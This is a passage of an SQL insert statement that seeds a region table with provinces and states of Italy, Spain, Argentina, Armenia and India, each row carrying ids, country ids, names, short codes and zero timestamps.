'0000-00-00 00:00:00', 0), (250, 1, 105, 0, 'Genova', 'GEN', 'GE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (251, 1, 105, 0, 'Gorizia', 'GOR', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (252, 1, 105, 0, 'Grosseto', 'GRO', 'GR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (253, 1, 105, 0, 'Imperia', 'IMP', 'IM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (254, 1, 105, 0, 'Isernia', 'ISE', 'IS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (255, 1, 105, 0, 'L\'Aquila', 'AQU', 'AQ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (256, 1, 105, 0, 'La Spezia', 'LAS', 'SP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (257, 1, 105, 0, 'Latina', 'LAT', 'LT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (258, 1, 105, 0, 'Lecce', 'LEC', 'LE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (259, 1, 105, 0, 'Lecco', 'LCC', 'LC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (260, 1, 105, 0, 'Livorno', 'LIV', 'LI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (261, 1, 105, 0, 'Lodi', 'LOD', 'LO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (262, 1, 105, 0, 'Lucca', 'LUC', 'LU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (263, 1, 105, 0, 'Macerata', 'MAC', 'MC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (264, 1, 105, 0, 'Mantova', 'MAN', 'MN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (265, 1, 105, 0, 'Massa-Carrara', 'MAS', 'MS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (266, 1, 105, 0, 'Matera', 'MAA', 'MT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (267, 1, 105, 0, 'Medio Campidano', 'MED', 'VS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (268, 1, 105, 0, 'Messina', 'MES', 'ME', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (269, 1, 105, 0, 'Milano', 'MIL', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (270, 1, 105, 0, 'Modena', 'MOD', 'MO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (271, 1, 105, 0, 'Napoli', 'NAP', 'NA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (272, 1, 105, 0, 'Novara', 'NOV', 'NO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (273, 1, 105, 0, 'Nuoro', 'NUR', 'NU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (274, 1, 105, 0, 'Ogliastra', 'OGL', 'OG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (275, 1, 105, 0, 'Olbia-Tempio', 'OLB', 'OT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (276, 1, 105, 0, 'Oristano', 'ORI', 'OR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (277, 1, 105, 0, 'Padova', 'PDA', 'PD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (278, 1, 105, 0, 'Palermo', 'PAL', 'PA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (279, 1, 105, 0, 'Parma', 'PAA', 'PR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (280, 1, 105, 0, 'Pavia', 'PAV', 'PV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (281, 1, 105, 0, 'Perugia', 'PER', 'PG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (282, 1, 105, 0, 'Pesaro e Urbino', 'PES', 'PU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (283, 1, 105, 0, 'Pescara', 'PSC', 'PE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (284, 1, 105, 0, 'Piacenza', 'PIA', 'PC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (285, 1, 105, 0, 'Pisa', 'PIS', 'PI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (286, 1, 105, 0, 'Pistoia', 'PIT', 'PT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (287, 1, 105, 0, 'Pordenone', 'POR', 'PN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (288, 1, 105, 0, 'Potenza', 'PTZ', 'PZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (289, 1, 105, 0, 'Prato', 'PRA', 'PO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (290, 1, 105, 0, 'Ragusa', 'RAG', 'RG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (291, 1, 105, 0, 'Ravenna', 'RAV', 'RA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (292, 1, 105, 0, 'Reggio Calabria', 'REG', 'RC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (293, 1, 105, 0, 'Reggio Emilia', 'REE', 'RE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (294, 1, 105, 0, 'Rieti', 'RIE', 'RI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (295, 1, 105, 0, 'Rimini', 'RIM', 'RN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (296, 1, 105, 0, 'Roma', 'ROM', 'RM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (297, 1, 105, 0, 'Rovigo', 'ROV', 'RO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (298, 1, 105, 0, 'Salerno', 'SAL', 'SA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (299, 1, 105, 0, 'Sassari', 'SAS', 'SS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (300, 1, 105, 0, 'Savona', 'SAV', 'SV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (301, 1, 105, 0, 'Siena', 'SIE', 'SI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (302, 1, 105, 0, 'Siracusa', 'SIR', 'SR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (303, 1, 105, 0, 'Sondrio', 'SOO', 'SO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (304, 1, 105, 0, 'Taranto', 'TAR', 'TA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (305, 1, 105, 0, 'Teramo', 'TER', 'TE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (306, 1, 105, 0, 'Terni', 'TRN', 'TR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (307, 1, 105, 0, 'Torino', 'TOR', 'TO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (308, 1, 105, 0, 'Trapani', 'TRA', 'TP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (309, 1, 105, 0, 'Trento', 'TRE', 'TN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (310, 1, 105, 0, 'Treviso', 'TRV', 'TV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (311, 1, 105, 0, 'Trieste', 'TRI', 'TS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (312, 1, 105, 0, 'Udine', 'UDI', 'UD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (313, 1, 105, 0, 'Varese', 'VAR', 'VA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (314, 1, 105, 0, 'Venezia', 'VEN', 'VE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (315, 1, 105, 0, 'Verbano Cusio Ossola', 'VCO', 'VB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (316, 1, 105, 0, 'Vercelli', 'VER', 'VC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (317, 1, 105, 0, 'Verona', 'VRN', 'VR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (318, 1, 105, 0, 'Vibo Valenzia', 'VIV', 'VV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (319, 1, 105, 0, 'Vicenza', 'VII', 'VI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (320, 1, 105, 0, 'Viterbo', 'VIT', 'VT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (321, 1, 195, 0, 'A Coru', 'ACO', '15', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (322, 1, 195, 0, 'Alava', 'ALA', '01', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (323, 1, 195, 0, 'Albacete', 'ALB', '02', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (324, 1, 195, 0, 'Alicante', 'ALI', '03', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (325, 1, 195, 0, 'Almeria', 'ALM', '04', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (326, 1, 195, 0, 'Asturias', 'AST', '33', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (327, 1, 195, 0, 'Avila', 'AVI', '05', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (328, 1, 195, 0, 'Badajoz', 'BAD', '06', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (329, 1, 195, 0, 'Baleares', 'BAL', '07', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (330, 1, 195, 0, 'Barcelona', 'BAR', '08', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (331, 1, 195, 0, 'Burgos', 'BUR', '09', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (332, 1, 195, 0, 'Caceres', 'CAC', '10', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (333, 1, 195, 0, 'Cadiz', 'CAD', '11', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (334, 1, 195, 0, 'Cantabria', 'CAN', '39', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (335, 1, 195, 0, 'Castellon', 'CAS', '12', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (336, 1, 195, 0, 'Ceuta', 'CEU', '51', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (337, 1, 195, 0, 'Ciudad Real', 'CIU', '13', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (338, 1, 195, 0, 'Cordoba', 'COR', '14', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (339, 1, 195, 0, 'Cuenca', 'CUE', '16', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (340, 1, 195, 0, 'Girona', 'GIR', '17', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (341, 1, 195, 0, 'Granada', 'GRA', '18', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (342, 1, 195, 0, 'Guadalajara', 'GUA', '19', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (343, 1, 195, 0, 'Guipuzcoa', 'GUI', '20', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (344, 1, 195, 0, 'Huelva', 'HUL', '21', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (345, 1, 195, 0, 'Huesca', 'HUS', '22', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (346, 1, 195, 0, 'Jaen', 'JAE', '23', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (347, 1, 195, 0, 'La Rioja', 'LRI', '26', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (348, 1, 195, 0, 'Las Palmas', 'LPA', '35', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (349, 1, 195, 0, 'Leon', 'LEO', '24', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (350, 1, 195, 0, 'Lleida', 'LLE', '25', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (351, 1, 195, 0, 'Lugo', 'LUG', '27', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (352, 1, 195, 0, 'Madrid', 'MAD', '28', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (353, 1, 195, 0, 'Malaga', 'MAL', '29', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (354, 1, 195, 0, 'Melilla', 'MEL', '52', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (355, 1, 195, 0, 'Murcia', 'MUR', '30', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (356, 1, 195, 0, 'Navarra', 'NAV', '31', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (357, 1, 195, 0, 'Ourense', 'OUR', '32', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (358, 1, 195, 0, 'Palencia', 'PAL', '34', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (359, 1, 195, 0, 'Pontevedra', 'PON', '36', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (360, 1, 195, 0, 'Salamanca', 'SAL', '37', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (361, 1, 195, 0, 'Santa Cruz de Tenerife', 'SCT', '38', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (362, 1, 195, 0, 'Segovia', 'SEG', '40', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (363, 1, 195, 0, 'Sevilla', 'SEV', '41', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (364, 1, 195, 0, 'Soria', 'SOR', '42', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (365, 1, 195, 0, 'Tarragona', 'TAR', '43', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (366, 1, 195, 0, 'Teruel', 'TER', '44', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (367, 1, 195, 0, 'Toledo', 'TOL', '45', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (368, 1, 195, 0, 'Valencia', 'VAL', '46', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (369, 1, 195, 0, 'Valladolid', 'VLL', '47', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (370, 1, 195, 0, 'Vizcaya', 'VIZ', '48', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (371, 1, 195, 0, 'Zamora', 'ZAM', '49', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (372, 1, 195, 0, 'Zaragoza', 'ZAR', '50', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (373, 1, 10, 0, 'Buenos Aires', 'BAS', 'BA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (374, 1, 10, 0, 'Ciudad Autonoma De Buenos Aires', 'CBA', 'CB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (375, 1, 10, 0, 'Catamarca', 'CAT', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (376, 1, 10, 0, 'Chaco', 'CHO', 'CH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (377, 1, 10, 0, 'Chubut', 'CTT', 'CT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (378, 1, 10, 0, 'Cordoba', 'COD', 'CO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (379, 1, 10, 0, 'Corrientes', 'CRI', 'CR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (380, 1, 10, 0, 'Entre Rios', 'ERS', 'ER', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (381, 1, 10, 0, 'Formosa', 'FRM', 'FR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (382, 1, 10, 0, 'Jujuy', 'JUJ', 'JU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (383, 1, 10, 0, 'La Pampa', 'LPM', 'LP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (384, 1, 10, 0, 'La Rioja', 'LRI', 'LR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (385, 1, 10, 0, 'Mendoza', 'MED', 'ME', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (386, 1, 10, 0, 'Misiones', 'MIS', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (387, 1, 10, 0, 'Neuquen', 'NQU', 'NQ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (388, 1, 10, 0, 'Rio Negro', 'RNG', 'RN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (389, 1, 10, 0, 'Salta', 'SAL', 'SA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (390, 1, 10, 0, 'San Juan', 'SJN', 'SJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (391, 1, 10, 0, 'San Luis', 'SLU', 'SL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (392, 1, 10, 0, 'Santa Cruz', 'SCZ', 'SC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (393, 1, 10, 0, 'Santa Fe', 'SFE', 'SF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (394, 1, 10, 0, 'Santiago Del Estero', 'SEN', 'SE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (395, 1, 10, 0, 'Tierra Del Fuego', 'TFE', 'TF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (396, 1, 10, 0, 'Tucuman', 'TUC', 'TU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (397, 1, 11, 0, 'Aragatsotn', 'ARG', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (398, 1, 11, 0, 'Ararat', 'ARR', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (399, 1, 11, 0, 'Armavir', 'ARM', 'AV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (400, 1, 11, 0, 'Gegharkunik', 'GEG', 'GR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (401, 1, 11, 0, 'Kotayk', 'KOT', 'KT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (402, 1, 11, 0, 'Lori', 'LOR', 'LO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (403, 1, 11, 0, 'Shirak', 'SHI', 'SH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (404, 1, 11, 0, 'Syunik', 'SYU', 'SU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (405, 1, 11, 0, 'Tavush', 'TAV', 'TV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (406, 1, 11, 0, 'Vayots-Dzor', 'VAD', 'VD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (407, 1, 11, 0, 'Yerevan', 'YER', 'ER', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (408, 1, 99, 0, 'Andaman & Nicobar Islands', 'ANI', 'AI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (409, 1, 99, 0, 'Andhra Pradesh', 'AND', 'AN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (410, 1, 99, 0, 'Arunachal Pradesh', 'ARU', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (411, 1, 99, 0, 'Assam', 'ASS', 'AS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (412, 1, 99, 0, 'Bihar', 'BIH', 'BI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (413, 1, 99, 0, 'Chandigarh', 'CHA', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (414, 1, 99, 0, 'Chhatisgarh', 'CHH', 'CH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (415, 1, 99, 0, 'Dadra & Nagar Haveli', 'DAD', 'DD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 